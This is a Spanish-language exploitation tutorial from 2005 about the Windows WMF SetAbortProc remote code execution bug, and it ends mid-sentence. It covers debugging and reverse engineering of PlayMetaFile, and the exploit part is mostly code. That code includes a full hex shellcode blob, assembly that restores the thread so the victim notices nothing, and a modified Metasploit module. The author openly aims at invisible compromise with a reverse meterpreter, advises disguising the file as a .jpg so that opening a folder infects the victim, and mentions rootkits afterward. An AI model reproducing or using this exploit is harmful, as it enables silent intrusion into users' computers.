=-[ http://www.badchecksum.com ]-========================================================== =-[ PlayMetaFile remote code execution bug analysis and advanced exploitation ]-=[ 2005 ]-= =-[ por Simkin ]-=================================-[ aka.simkin^gmail.com ]-=============== 0.Ejemplo divertido de la explotacion :D (anima a seguir leyendo jeje) 1.Entendiendo la vulnerabilidad. 1.1 Primer contacto. 1.2 Un poco de debugging. 1.3 Reversing y explicacion final del bug. 2.Explotacion 2.1 Algunas cosas a tener en cuenta 2.2 El exploit 2.2.1 Restablecimiento del programa explotado tras la explotacion 2.2.2 Modificando el exploit de metasploit 2.2.3 Utilizacion del exploit atraves de metasploit 2.2.4 RelocateShellcode (asi la llamo yo jaja) 3.Conclusion 0.Ejemplo divertido de la explotacion :D (anima a seguir leyendo jeje) ======================================================================= En realidad esto es lo ultimo que escribi del documento, pense que un video demostrativo diria mas que mil palabras asi que aqui lo teneis: http://www.badchecksum.com/videos/owned.rar En el video se ve como se pone a la escucha un "handler de meterpreter reverso" en la vm con knopixx, despues en windows abro una carpeta que contiene un .jpg (wmf camuflado) malicioso y.. sorpresa, sin que ocurra nada aparentemente extraño el payload se ejecuta y recibimos el meterpreter en la vm linux, el windows ha sido hackeado de forma completamente invisible :). 1. Entendiendo la vulnerabilidad ================================= 1.1 Primer contacto ==================== El dia 27 de Diciembre del 2005 se publico la existencia de un exploit Que estaba siendo usado por algunos sitios para infectar a sus visitantes con spyware. En principio solo se hizo publico el exploit pero se dieron pocas explicaciones acerca de su funcionamiento. Las personas que lo hicieron publico afirmaban que era un bug en el proceso de parsing de los archivos wmf y que ademas de Internet Explorer eran vulnerables otros browsers como Firefox o Opera aunque estos preguntaban antes de abrir dichos archivos. Tambien es vulnerable el explorer mismo (no el browser sino el entorno de ventanas de windows) ya que al abrir una carpeta con un archivo .wmf en su interior intenta ofrecer una previsualizacion del mismo dando lugar a la aparicion del bug y a la ejecucion de codigo. Mas tarde el dia 28 se publico un exploit para la metasploit framework en python, este exploit lo unico que hacia era cambiar la shellcode del exploit original por otra, sin embargo, se seguia sin publicar ninguna informacion sobre el funcionamiento interno del exploit. Entonces me decidi a investigarlo. Este vacio informativo no duro mucho, el dia 29 ya se habian lanzado nuevos advisorys con una explicacion mas detallada del bug que confirmo mis investigaciones del dia anterior. La informacion a dia de hoy (31/12/2005) sigue siendo la misma que hace 2 dias, bueno.. no por que se publica este tutorial.. pero en español no creo que tenga mucho alcance.. xD. El bug real en mi opinion se encuentra en la funcion SetAbortProc que permite sobreescribir 4 bytes de memoria en donde se quiera con lo que se quiera, siempre y cuando controles sus argumentos. Esto en la jerga inglesa se suele llamar una primitiva aa4bmo que es acronimo de "almost arbitrary 4 bytes mirrored overwrite". En este caso concreto controlas parcial pero suficientemente sus argumentos, que podrian ser extraidos directamente del fichero wmf. Lo unico que se hace es usar este aa4bmo para modificar el flow normal de PlayMetaFile y hacer que salte a la shellcode. No obstante, se podria aplicar de miles de maneras y no solo en este ambito sino en cualquier programa o codigo que usase la funcion SetAbortProc. 1.2 Un poco de debugging ========================= Para conseguir nuestro objetivo debemos conseguir un archivo wmf que sea capaz de activar el fallo de seguridad. Para ello hay 2 opciones, o usar un programa que extraiga los bytes directamente del exploit original y despues los escriba a un archivo o instalar metasploit y correr el exploit para que el solo genere el wmf. Yo hize las dos cosas, pero acabe usando la segunda para lo cual tuve que instalar metasploit e instalar el exploit pero vosotros podeis usar un codigo que escribi para extraer los bytes directamente del exploit original: int main(int argc, char* argv[]) { FILE *fd; FILE *fdout; unsigned long num; bool first = true; char pair[2]; char byte[1]; if(argc != 3) { printf("Argumentos erroneos\n"); exit(0); } fd = fopen(argv[1],"r"); fdout = fopen(argv[2],"w+"); memset(&pair,'\0',2); memset(&byte,'\0',1); while(!feof(fd)) { fread(byte,sizeof(char),1,fd); if(first) { pair[0] = byte[0]; if(isxdigit(byte[0])) first = false; } else { pair[1] = byte[0]; if(isxdigit(pair[0]) && isxdigit(pair[1])) { num = strtoul(pair,NULL,16); sprintf(byte,"%c",num); fwrite(&byte,1,1,fdout); memset(&byte,'\0',1); } first = true; } } fclose(fd); fclose(fdout); return 0; } Se utiliza de la siguiente manera: H:\personal\codes\Debug>wmfcode1.exe wmf.txt wmfpof.wmf Esto generaria un archivo wmfpof.wmf apartir de wmf.txt que tendria como contenido algo asi (Lo hice deprisa y solo pensando en este tipo de input): "\x02\x03..." "\x02\x03..." "\x02\x03..." ... No obstante es mas facil instalar metasploit y ejecutar el exploit, ademas asi podeis comprobar que realmente funciona, por desgracia metasploit no ofrece la posibilidad de explotar este bug de formas interesantes que contare mas adelante y mas importante todavia, metasploit no te enseña como funciona un exploit solo te permite usarlo ;). En cualquier caso llegado este punto ya deberiais tener vuestro archivo wmf, lo siguiente es sustituir el primer byte de la shellcode por una instruccion INT3 cuyo opcode es 0xCC, para ello se puede utilizar cualquier editor hexadecimal. Yo utilize el comando hexedit en linux. El principio de la shellcode se diferencia claramente del resto del archivo, ademas observando el exploit vemos que la cadena wmf_header acaba con los bytes "09 00 16 00": 00 00 00 00 04 00 00 00 2D 01 03 00 05 00 00 00 09 02 00 00 ........-........... 00 02 05 00 00 00 14 02 00 00 00 00 04 00 00 00 02 01 02 00 .................... 10 00 00 00 26 06 09 00 16 00 CC 37 42 92 F5 27 92 98 2F 9F ....&......7B..'../. 4E 91 99 F9 2F 37 4F 48 46 3F 48 4E 98 93 97 3F D6 98 40 F5 N.../7OHF?HN...?..@. 93 97 9B 9F 99 99 92 4E 43 90 9B 9F 48 48 48 2F 42 D6 43 43 .......NC...HHH/B.CC La shellcode empieza cuando termina wmf_header, en este caso la shellcode seria "CC 37 42 92....". En este ejemplo yo ya habia sustituido el primer byte de la shellcode por 0xCC asi que ya aparece cambiado pero lo normal es que haya otro opcode en esa posicion, solo hay que sustituirlo por 0xCC. Ahora que tenemos la INT3 situada en el archivo podemos debuggear el explorer y tener mas detalles de que ocurre en el momento exacto y momentos previos antes de que se salte a esa instruccion. Abrimos olly y atachamos a explorer.exe, antes de alcanzar la ejecucion normal llegara a un breakpoint invocado por ntdll.DebugBreakPoint, lo saltamos con F9. Ahora abrimos con el explorer la carpeta en la que se encuentra el wmf y vemos que se alcanza el int3 que pusimos produciendo un breakpoint en el debugger, ahora nos encontramos aqui: INT3--------> 01305F4D 00CC ADD AH,CL 01305F4F 37 AAA <-- EIP 01305F50 42 INC EDX 01305F51 92 XCHG EAX,EDX Podemos ver el principio de la shellcode sustituido por 0xCC, si siguieramos estepeando apartir de aqui estariamos ejecutando la shellcode pero seguramente obtendriamos alguna excepcion pues no la hemos ejecutado desde el principio ;(. Lo que nos importa es saber la instruccion exacta que ha llamado a nuestra shellcode, para saberlo le hechamos un vistazo a la pila del programa : 0260EF14 77F130A5 RETURN to GDI32.77F130A5 <-- ESP 0260EF18 552108B3 0260EF1C 00000000 0260EF20 00000000 [...] Al hacer esto estamos suponiendo que la ejecucion llego hasta la shellcode atraves de un CALL, la instruccion CALL guarda en la pila automaticamente la direccion siguiente a si misma para que el programa sepa retomar la ejecucion atraves de RET una vez haya acabado la funcion. Si antes de llegar a la shellcode hubo un CALL x entonces este call debio meter en la pila la direccion siguiente a CALL x, y en efecto lo hizo : 0260EF14 77F130A5 RETURN to GDI32.77F130A5 Esta es la direccion de retorno del call, si saltamos a ella (hacemos click sobre la direccion y pulsamos enter) vemos lo siguiente: 77F1309C ^E9 73AFFFFF JMP GDI32.77F0E014 77F130A1 53 PUSH EBX 77F130A2 57 PUSH EDI 77F130A3 FFD0 CALL EAX 77F130A5 85C0 TEST EAX,EAX <- Direccion de retorno del call 77F130A7 ^0F84 6EAFFFFF JE GDI32.77F0E01B 77F130AD ^E9 20AFFFFF JMP GDI32.77F0DFD2 Bingo!, justo antes de la direccion de retorno hay un CALL EAX, este call es el que se ejecuto para saltar a la shellcode y EAX contenia su direccion. Lo que estamos intentando es entender el bug, tenemos un input (el archivo wmf) que al ser leido por este codigo de alguna manera desvia su ejecucion hacia el call eax y ademas consigue que en eax este la direccion de la shellcode. Sabiendo esto lo que nos interesa ahora es ver que relacion hay entre el input y que el codigo haya "alcanzado" este call eax y sobretodo la relacion entre el input y el contenido de EAX en ese momento. Hemos de saber que instrucciones ejecuto el programa antes del call, mirando el codigo puede parecer obvio, antes del call ejecuto PUSH EDI, y antes PUSH EBX, pero.. el JMP no pudo haberlo ejecutado antes de PUSH EBX pues el JMP salta a otro lugar. Esto nos hace pensar que el programa llego a PUSH EBX posiblemente mediante otro JMP, para buscar este jump vemos las referencias a PUSH EBX (boton derecho > Find references to > selected command).Se abrira una ventana con estas referencias: References in GDI32:.text to 77F130A1 Address Disassembly Comment 77F0DFCC JNZ GDI32.77F130A1 77F130A1 PUSH EBX (Initial CPU selection) Solo hay una que no sea la propia instruccion, JNZ GDI32.77F130A1, la seguimos en el desensamblador pulsando enter sobre ella y voila.. : 77F0DFCC 0F85 CF500000 JNZ GDI32.77F130A1 77F0DFD2 FF75 D0 PUSH DWORD PTR SS:[EBP-30] 77F0DFD5 56 PUSH ESI 77F0DFD6 FF75 CC PUSH DWORD PTR SS:[EBP-34] 77F0DFD9 57 PUSH EDI 77F0DFDA E8 81E8FFFF CALL GDI32.PlayMetaFileRecord 77F0DFDF 56 PUSH ESI Este paso ha sido decisivo, pues ya sabemos donde nos encontramos mas o menos, el CALL GDI32.PlayMetaFileRecord nos lo indica, hemos conseguido establecer una relacion entre el archivo de entrada y el hecho de que salte a la shellcode. Ahora dejamos de debuggear por un momento y acudimos a las especificaciones de los archivos wmf. leemos: http://www.wotsit.org/download.asp?f=wmf ================================================== Microsoft Windows Metafile Format (WMF) files are used to store both vector and bitmap-format graphical data in memory or in disk files. The vector data stored in WMF files is described as Microsoft Windows Graphics Device Interface (GDI) commands. In the Window environment these commands are interpreted and played back on an output device using the Windows API PlayMetaFile() function. [...] A metafile is comprised of one or two information headers and an array of variable-length records that store the GDI function call information. [...] There are four flavors of Windows metafiles: standard, placeable, clipboard, and enhanced. A standard metafile contains an 18-byte WMF header followed by one or more records of GDI commands. The standard Windows metafile header is 18 bytes in length and is structured as follows: typedef struct _WindowsMetaHeader { WORD FileType; /* Type of metafile (0=memory, 1=disk) */ WORD HeaderSize; /* Size of header in WORDS (always 9) */ WORD Version; /* Version of Microsoft Windows used */ DWORD FileSize; /* Total size of the metafile in WORDs */ WORD NumOfObjects; /* Number of objects in the file */ DWORD MaxRecordSize; /* The size of largest record in WORDs */ WORD NumOfParams; /* Not Used (always 0) */ } WMFHEAD; Standard Metafile Records Following the standard header in all WMF metafiles is a series of data records. This record is defined by the METARECORD data type definition in WINDOWS.H and has the following format: typedef struct _StandardMetaRecord { DWORD Size; /* Total size of the record in WORDs */ WORD Function; /* Function number (defined in WINDOWS.H) */ WORD Parameters[]; /* Parameter values passed to function */ } WMFRECORD; ================================================== Bien, Ahora ya sabemos que un archivo wmf esta compuesto por una cabecera tipo WMFHEAD y uno o mas "records" tipo WMFRECORD. Si pensamos un poco en la funcion que hemos visto antes GDI32.PlayMetaFileRecord podemos deducir que nos encontramos en un bucle y mas aun, que nos encontramos dentro de la funcion PlayMetaFile. Pulsamos click derecho > search for > name (label) in current module. Dentro buscamos PlayMetaFile y pulsamos enter, nos lleva al siguiente prolog: 77F0DFF1 > 8BFF MOV EDI,EDI 77F0DFF3 55 PUSH EBP 77F0DFF4 8BEC MOV EBP,ESP Este prolog es especifico de windows, tenemos las tipicas instrucciones push ebp y mov ebp, esp ademas de MOV EDI, EDI. Esta ultima instruccion no tiene uso directo, sirve mas bien para permitir parchear las funciones en caliente pero podrian ser 2 nops. Ahora ponemos un hardware breakpoint de ejecucion en MOV EDI,EDI. Los breakpoints de hardware no se borran al cerrar olly, para borrarlos hay que reiniciar el ordenador o cambiarlos por otros con el mismo olly. Esto los convierte en una gran herramienta pues nos permite cerrar el olly y abrir otra sesion con el breakpoint ya puesto. 1.3 Reversing y explicacion final del bug ========================================== Ya tenemos todo lo necesario, Ahora solo nos hace falta reversear la funcion PlayMetaFile y ver en que momento la ejecucion se desvia a la shellcode y por que. No obstante, aprender a reversear no es el objetivo de este manual asi que lo dejo en vuestras manos. Aqui esta el pseudocodigo que yo logre sacar, solo estan las partes que son relevantes para el entendimiento del bug, ademas no he sido muy riguroso, todo esto no esta bien comprobado pero estoy casi seguro de que las funciones son en realidad asi: struct hdcInfo { HDC hdc; [...] 0x14: dword AbortProc callback [...]? } HDCINFO; GDI32.77EF57CC: HDCINFO * GetHdcInfo(HDC hDc) { hdcInfo *ptr = LOWORD(hDc) * 4 + 0x47000; [...] // Aqui hay varias comprobaciones en ptr return ptr; } BOOL PlayMetaFile(HDC hdc,HMETAFILE hmf) { hdcInfo *ptr; LPMETARECORD pMetaRecord; [...] ptr = GetHdcInfo(hDc); [...] Bucle que finaliza cuando no quedan records, en cada iteracion pMetaRecord apunta a un nuevo record { [1] if(ptr->AbortProc) { [2] call ptr->AbortProc; } PlayMetaFileRecord(hdc,handletable,pMetaRecord,nHandles); } } BOOL PlayMetaFileRecord(HDC hDc,LPHANDLETABLE lpHandletable,LPMETARECORD lpMetaRecord,UINT nHandles) { [...] Comprobaciones en lpMetaRecord->Function, puede que sea un switch o una estructura tipo if/else if../else, lo importante es que si el byte menos significativo de esta variable es 0x26 (identificador de la funcion escape) entonces la ejecucion llegara aqui: /* Cuando llegamos al record malformado y PlayMetaFileRecord lo procesa estos son los argumentos para escape: lpMetaRecord->parameters[1] = SETABORTPROC lpMetaRecord->parameters[2] = 16 lpMetaRecord->parameters[3] = shellcode, */ escape(hDc, lpMetaRecord->Parameters[1], lpMetaRecord->Parameters[2], &(lpMetaRecord->Parameters[3]), NULL); } int Escape(HDC hDc,int nEscape,int cbInput,LPCSTR lpvInData,LPVOID lpvOutData) { hDcInfo *ptr; [...] ptr = GetHdcInfo(hDc); [...] Comprobaciones sobre nEscape que llevan a este codigo si nEscape es SETABORTPROC (0x0009) { SetAbortProc(hDc,lpvInData); } } int SetAbortProc(HDC hdc,ABORTPROC lpAbortProc) { hDcInfo *ptr; [...] ptr = GetHdcInfo(hDc); [...] if (comprobacion en ptr->word3) { [3] ptr->AbortProc = lpAbortProc; } } Con este codigo es mas facil entender la vulnerabilidad, Basicamente, primero se ejecuta PlayMetaFile, Que llama a PlayMetaFileRecord para cada record que hay dentro del archivo wmf. PlayMetaFileRecord lee el record y en base a el llama a la funcion GDI adecuada con los parametros adecuados, en el caso del bug llama a escape() con los parametros SETABORTPROC, 16, la direccion de la shellcode y NULL. escape() es una funcion que puede llamar a varias funciones dependiendo de su segundo parametro, en este caso llama a SetAbortProc() con el parametro lpAbortProc como la direccion de nuestra shellcode, este parametro viene dado por el puntero lpvInData que le pasamos anteriormente a escape. SetAbortProc lo unico que hace es establecer un nuevo handler o callback para este evento en [3] (el evento abort) que esta relacionado con un drawing context (por eso tambien requiere el HDC como primer parametro). Lo importante es que establecemos como handler nuestra propia shellcode, asi cuando se dan las condiciones para que se ejecute el callback simplemente saltara a el callback q nosotros establecimos con SetAbortProc, es decir, nuestra shellcode. Aparentemente, la unica condicion que se debe cumplir para que se ejecute este callback es que exista ([1]), es decir que el puntero al callback no sea 0x00000000 (por defecto es eso) asi que con solo cambiar este puntero (el offset 0x14 de la estructura no documentada hDcInfo) ya estamos obligando al codigo a que salte a nuestro callback, esto lo hara dentro de la funcion PlayMetaFile en [2]. MSDN: After the application registers the AbortProc abort procedure, GDI calls the function periodically during the printing process to determine whether to cancel the job. 2. Explotacion ================================= 2.1 Algunas cosas a tener en cuenta ==================================== En la mayoria de los casos en windows la explotacion de un bug va mucho mas alla de un simple bind o un reverse connect, de hecho, si queremos conseguir realmente hackear la maquina hay que hacer muchas cosas mas.. *Apartir de ahora voy a usar dos palabras de las que quizas necesiteis mas informacion, son el metasploit framework y el payload avanzado meterpreter que tambien pertenece al framework, podeis encontrar mas informacion sobre ambos en: http://www.metasploit.org http://www.nologin.org/Downloads/Papers/meterpreter.pdf Cualquier intento de hackeo que se precie debe cumplir varios objetivos: - Ha de pasar desapercibido - Ha de ser fiable - Nos debe proporcionar la mayor movilidad posible dentro del sistema - Ha de ser persistente El primer punto es en general el mas dificil de conseguir. Nuestro peor enemigo aqui son los antivirus y firewalls y con este bug parece que los primeros han conseguido ganar la batalla.. :(. Los antivirus en general utilizan busquedas de patrones automatizadas para detectar distintas amenazas en archivos, la solucion obvia para este tipo de defensa es crear archivos o exploits cuyo contenido sea aleatorio y que no sean iguales entre ellos. Por desgracia en este bug necesitamos siempre tener como minimo esta secuencia de bytes "xx26 0009" (26 indica la funcion escape y 0009 es SETABORTPROC) y los antivirus estan preparados para reconocerla y bloquear el acceso al archivo :/. No obstante esto no es lo mas normal asi que ya aparecera otro bug que nos lo permita :D. En cuanto a los firewalls tener presente esta frase "No valen para nada" xDD, con tecnologias como el payload meterpreter de metasploit saltarse firewalls es cosa de niños. Este payload "magico" es una obra de arte, lo que hace es subir al espacio de memoria del proceso explotado una dll situada en el servidor del atacante. Lo bueno es que lo hace atraves de un tunel http saltandose asi firewalls y routers ya que el trafico http en general suele estar permitido. Ademas, es extensible dinamicamente y nunca toca el disco duro por lo que es inmune a antivirus. Os recomiendo que lo probeis es una de las herramientas mas buenas que he visto ultimamente. Otra cosa que tratare mas en profundidad y que afecta a la invisibilidad de nuestro exploit es el hecho de que no crashee la aplicacion explotada, para ello deberemos implementar unos pequeños codigos en asm al principio y al final de la shellcode que explicare mas adelante. La fiabilidad aunque puede parecer algo dificil de conseguir es algo que depende mas del bug en si que del proceso de post-explotacion. Hay determinados bugs que son poco fiables y por sus caracteristicas es imposible hacer que funcionen el 100% de las veces. El que tenemos entre manos es 100% fiable en la explotacion por lo que el principal problema sera conseguir fiabilidad una vez ejecutado el payload. Este objetivo es facil si usamos los payloads de metasploit que siempre funcionan bien. La movilidad dentro del sistema tambien nos la ofrece el meterpreter que lo podemos usar como una herramienta inicial que es mucho mas segura que la tipica shell y nos brinda mas posibilidades, Mas tarde siempre podemos subir un rootkit tipo hxdef si queremos conseguir mas cosas. La persistencia en el sistema de nuestro backdoor es algo a veces complicado de conseguir ya que depende tambien del antivirus y de la seguridad del sistema victima. A largo plazo tambien puede depender de factores externos (fisicos) que no controlamos en absoluto aunque pueden ser eludibles en algunos casos ;). En este tutorial no voy a tratar este tema y el exploit que enseñare no sera persistente, una vez la victima cierre la sesion o apage el sistema nuestro backdoor desaparecera junto con el resto de datos de la ram :(. 2.2 El exploit =============== Para crear un exploit con las condiciones anteriores (excepto persistencia y capacidad de evitar antivirus) vamos a utilizar para ser practicos el exploit ya hecho por h.d moore, que estuvo integrado en metasploit desde el segundo dia de la aparicion del bug. Lo que haremos sera utilizar el mismo exploit de manera que nos ofrezca el dinamismo que nos ofrece el hecho de que forme parte de metasploit y a la vez lo modificaremos para obtener invisibilidad. El exploit que h.d moore hizo no cumple las condiciones anteriores pues el thread explotado acaba produciendo una excepcion, para evitar esto deberemos restaurar la ejecucion del thread a como estaba antes de producirse el error que llevo a la ejecucion de la shellcode. Como ya dije antes, este error vino simplemente de la sobreescritura de un callback que valia 0x00000000 por la direccion de nuestra shellcode por lo tanto lo "unico" que debemos hacer es volver a poner este callback a 0 y restaurar todos los registros y las flags para despues saltar a la direccion en la que nos dejo el codigo y que el programa siga su ejecucion como si nunca hubiera encontrado nuestro record malicioso. Paralelamente a esto reservaremos una nueva seccion de memoria con la funcion VirtualAlloc y copiaremos a ella el payload integro que seleccionamos con metasploit (WriteProcessMemory), despues lo ejecutaremos en un nuevo thread (CreateThread). Despues de realizar esto recuperaremos el thread afectado por la explotacion. Para ejecutar el payload de metasploit en un nuevo thread necesitaremos cuatro funciones de kernel32.dll, para utilizaras debemos obtener sus direcciones. Primero obtendremos la direccion base de kernel32.dll mediante la tecnica topstack y despues resolveremos la direccion de cada funcion una a una mediande unos hashes generados especificamente a partir de sus nombres. No voy a entrar mas en los detalles de este proceso, si quereis saber mas leed el exploit o un tutorial muy bueno sobre shellcodes de nologin.org, su url es: http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf Cuando hayais leido la seccion que habla sobre resolver direcciones de funciones de librerias, vereis necesaria una herramienta para obtener los hashes que utiliza el algoritmo que usan en las shellcodes de esa web y que es el mismo que utilizo yo. Esta herramienta la codee yo mismo y la podeis descargar de: http://www.badchecksum.com/code/pentest/findhash.c De todas formas las 4 hashes necesarias para nuestro codigo son: H:\personal\codes\findhash>findhash.exe Write "end" to exit VirtualAlloc db 0x54,0xca,0xaf,0x91 WriteProcessMemory db 0xa1,0x6a,0x3d,0xd8 GetCurrentProcess db 0xe6,0x17,0x8f,0x7b CreateThread db 0x6b,0xd0,0x2b,0xca end Presione una tecla para continuar . . . 2.2.1 Restablecimiento del programa explotado tras la explotacion ================================================================== Al inicio de nuestra shellcode guardaremos todos los datos necesarios para el restablecimiento posterior de la ejecucion del programa una vez se halla ejecutado nuestro payload. La pila justo despues de saltar a nuestra shellcode tiene esta forma: 0x00000000... [ret pusheado] <- esp [edi pusheado] [ebx pusheado] [...] [datos validos de la aplicacion] [...] <- ebp 0xffffffff... Debido al siguiente codigo en PlayMetaFile(): 77F0DFCC 0F85 CF500000 JNZ GDI32.77F130A1 salta aqui --> push ebx push edi call eax (nuestra shellcode) 77F0DFD2 FF75 D0 PUSH DWORD PTR SS:[EBP-30] 77F0DFD5 56 PUSH ESI 77F0DFD6 FF75 CC PUSH DWORD PTR SS:[EBP-34] 77F0DFD9 57 PUSH EDI 77F0DFDA E8 81E8FFFF CALL GDI32.PlayMetaFileRecord 77F0DFDF 56 PUSH ESI Lo que haremos sera primero guardar las flags mediante pushfd y todos los registros mediante pushad, despues obtendremos el puntero a la siguiente instruccion que habria ejecutado el codigo si no hubieramos desviado la ejecucion inicialmente (es decir si el jnz no hubiera saltado) y tambien lo guardaremos.Esta instruccion es push [ebp-0x30] y esta en la direccion 77F0DFD2. Como no podemos hardcodear ninguna direccion absoluta por que no seria portable, utilizaremos la diferencia entre el ret que ya tenemos y esa direccion, esta diferencia siempre vale 0xdac3, es decir, 77F0DFD2 = ret + 0xdac3. tras esto reservamos memoria disminuyendo esp en 0xC0 bytes y justo en esa direccion guardamos el esp original, despues hacemos que ebp valga esp (para referenciar mas tarde apartir de el todas las variables pues esp ira cambiando segun pusheemos mas cosas). ;Special voodoo code that will save wmf parser state pushfd ;Save flags pushad ;Save General purpose registers mov eax, [esp+0x24] ;eax = ret sub eax, 0xdac3 ;eax = special ret push eax ;save special ret mov ebp, esp sub esp, 0xC0 ;allocate 0xC0 bytes mov [esp], ebp ;Save pointer to saved data mov ebp, esp La pila quedaria asi tras este proceso: [..pila shellcode..] [esp original guardado] <- ebp,esp [..datos estaticos shellcode..] [direccion de retorno final] [registros guardados] [flags guardados] [ret] [edi pusheado] [ebx pusheado] En concreto en la seccion datos estaticos shellcode guardaremos los punteros a las cuatro funciones que necesitamos resolver: ... [esp original guardado] <- ebp [VirtualAlloc] [GetCurrentProcess] [WriteProcessMemory] [CreateThread] [.. mas espacio (inutil pero por si acaso.. xD) ..] [direccion de retorno final] [registros guardados] ... Despues de este proceso se ejecutara nuestra shellcode que creara un nuevo thread que ejecutara el payload real, es decir la shellcode configurable de metasploit :). Tras esto utilizaremos el codigo siguiente que restaurara registros, flags y saltara a 77F0DFD2 FF75 D0 PUSH DWORD PTR SS:[EBP-30]. ;Special voodoo code that will restore wmf parser pre-exploitation state mov esp, [ebp] ;Get pointer to saved data pop eax mov [esp+0x24],eax ;Store especial ret in (original esp)-0xc popad ;Restore general purpose registers (but esp and eip are still corrupt) popfd ;Restore flags add esp, 0xC ;Restore esp push eax ;Save eax mov eax, [ebp-0x44] mov dword [eax+0x14], 0x0 ;Restore callback to 0 for subsequent loops pop eax ;restore eax jmp [esp-0xC] ;Restore eip La pila tendra un aspecto como el siguiente antes de ejecutar este codigo: [.. pila shellcode ..] <- esp apunta a algun lugar de aqui [esp original guardado] <- ebp [..datos estaticos shellcode..] [direccion de retorno final] [registros guardados] [flags guardados] [ret] [edi pusheado] [ebx pusheado] Primero restauramos esp utilizando el puntero que guardamos en [ebx], ahora esp apuntara a nuestro ret final que guardamos anteriormente. Lo movemos y sobreescribimos con el ret final el ret que nos dejo el call eax. Restauramos los registros (incluido el ebp original) y los flags. Restauramos esp restandole 0xC ya que el codigo que salto a nuestra shellcode lo aumento en ese valor: push ebx <- esp = esp + 0x4 push edi <- esp = esp + 0x4 call eax (nuestra shellcode) <- esp = esp + 0x4 Ahora ya estamos en el mismo contexto que cuando se ejecuto el salto (jnz) por lo que podemos proceder a borrar el callback para que no vuelva a saltar a el en las siguientes iteraciones del loop que llamaba a PlayMetaFileRecord recordais?. La estructura en la que esta el callback esta en ese momento en [ebp-0x44] y el callback esta en su offset 0x14, la ponemos a 0. Por ultimo saltamos a la siguiente direccion al jnz que esta en esp-0xc (donde estuvo el ret anteriormente). 2.2.2 modificando el exploit de metasploit =========================================================================== Bien, hasta aqui tenemos varias cosas, entendemos el funcionamiento del bug, tenemos una shellcode que copia otra que la siga en memoria a otro lugar y despues la ejecuta en otro thread y por ultimo tenemos los codigos que guardan y mas tarde restauran el programa vulnerado tras ese proceso. Ahora vamos a hecharle un vistazo al exploit que hizo h.d moore en python, esta en la siguiente direccion: http://metasploit.com/projects/Framework/modules/exploits/ie_xp_pfv_metafile.pm my $shellcode = $self->GetVar('EncodedPayload')->Payload; Como podemos ver, el script obtiene la shellcode en base a lo que nosotros hayamos seleccionado ya sea en la consola por web o por shell. Lo unico que tenemos q hacer ahora es unir la shellcode de metasploit con la nuestra y utilizar el script modificado como cualquier otro exploit del framework, facil eh? :D. Primero tenemos que modificar la variable que guarda el tamaño del archivo wmf: my $clen = 18 + 8 + 6 + length($self->relocateshellcode) + length($shellcode) + length($pre_buff) + length($suf_buff); y despues la variable $content, que contendra el archivo wmf en si: my $content = pack('vvvVvVv',2,9,0x0300,$clen/2,$fill+1,int(rand(64)+8),0). $pre_buff. pack('Vvv',4,0xa426,9,). $self->relocateshellcode. $shellcode. $suf_buff. pack('Vv',3,0); Metemos $self->relocateshellcode justo antes de $shellcode y por ultimo declaramos la shellcode: sub relocateshellcode { return "\x90\x90\x90\x9C\x60\x8B\x44\x24\x24\x2D\xC3\xDA\x00\x00\x50\x89\xE5\x81\xEC\xC0\x00". "\x00\x00\x89\x2C\x24\x89\xE5\xE8\x8B\x00\x00\x00\x89\xC2\xE8\x06\x01\x00". "\x00\x89\xC6\x8D\x7D\x04\x89\xF1\x81\xC1\x10\x00\x00\x00\xE8\xD9\x00\x00". "\x00\x68\x40\x00\x00\x00\x68\x00\x30\x00\x00\x68\x00\x04\x00\x00\x68\x00". "\x00\x00\x00\xFF\x55\x04\x89\xC6\xFF\x55\x08\x89\xC7\xE8\xF7\x00\x00\x00". "\x89\xC1\x68\x00\x00\x00\x00\x68\xD0\x07\x00\x00\x51\x56\x57\xFF\x55\x0C". "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x56\x68\x00". "\x00\x00\x00\x68\x00\x00\x00\x00\xFF\x55\x10\x8B\x65\x00\x58\x89\x44\x24". "\x24\x61\x9D\x81\xC4\x0C\x00\x00\x00\x50\x8B\x45\xBC\xC7\x40\x14\x00\x00". "\x00\x00\x58\xFF\x64\x24\xF4\x56\x31\xF6\x64\x8B\x76\x18\xAD\xAD\x8B\x40". "\xE4\x48\x66\x31\xC0\x66\x81\x38\x4D\x5A\x75\xF5\x5E\xC3\x60\x8B\x6C\x24". "\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB". "\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x07". "\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x01\xEB". "\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24\x1C". "\x61\xC3\xAD\x50\x52\xE8\xAA\xFF\xFF\xFF\x89\x07\x81\xC4\x08\x00\x00\x00". "\x81\xC7\x04\x00\x00\x00\x39\xCE\x75\xE6\xC3\xE9\x05\x00\x00\x00\xE9\x05". "\x00\x00\x00\xE8\xF6\xFF\xFF\xFF\x58\x05\x07\x00\x00\x00\xC3\x54\xCA\xAF". "\x91\xE6\x17\x8F\x7B\xA1\x6A\x3D\xD8\x6B\xD0\x2B\xCA\xE9\x05\x00\x00\x00". "\xE9\x05\x00\x00\x00\xE8\xF6\xFF\xFF\xFF\x58\x05\x07\x00\x00\x00\xC3"; } El exploit resultante lo podeis encontrar en: http://www.badchecksum.com/code/pentest/wmfsilentexploit.pm Este wmf generado es completamente invisible a la victima, si vais a explotarlo atraves de Internet explorer dejadlo como wmf pero si lo vais a explotar en local lo podeis renombrar a otras extensiones de imagenes como .png o .jpg, se cargaran igualmente al abrir la carpeta en la que se encuentran o al previsualizarlas con el visor de imagenes de windows. 2.2.3 Utilizacion del exploit atraves de metasploit ==================================================== Lo unico que falta por hacer es probar el exploit, simplemente lo guardais en la carpeta exploits del directorio raiz de metasploit. Cargais la consola o la web y lo elegis, despues elegis el payload que mas os guste la direccion y el puerto local del server http etc.. aqui ya queda todo a vuestra eleccion. Una cosa importante: en el metodo de salida del payload elegir thread en vez de seh porque si elegis seh cuando mateis la sesion el explorer entero de la victima crasheara lo cual puede levantar sospechas.. Yo personalmente solo uso el exploit para generar el archivo wmf, despues lo renombro a .jpg o otro archivo, es mas creible este metodo que el del browser, ademas es mas fiable con solo abrir la carpeta ya infecta ya sabeis ;). 2.2.4 WmfRelocateShellcode (asi la llamo yo jaja) =============================================== Aqui teneis la shellcode, para 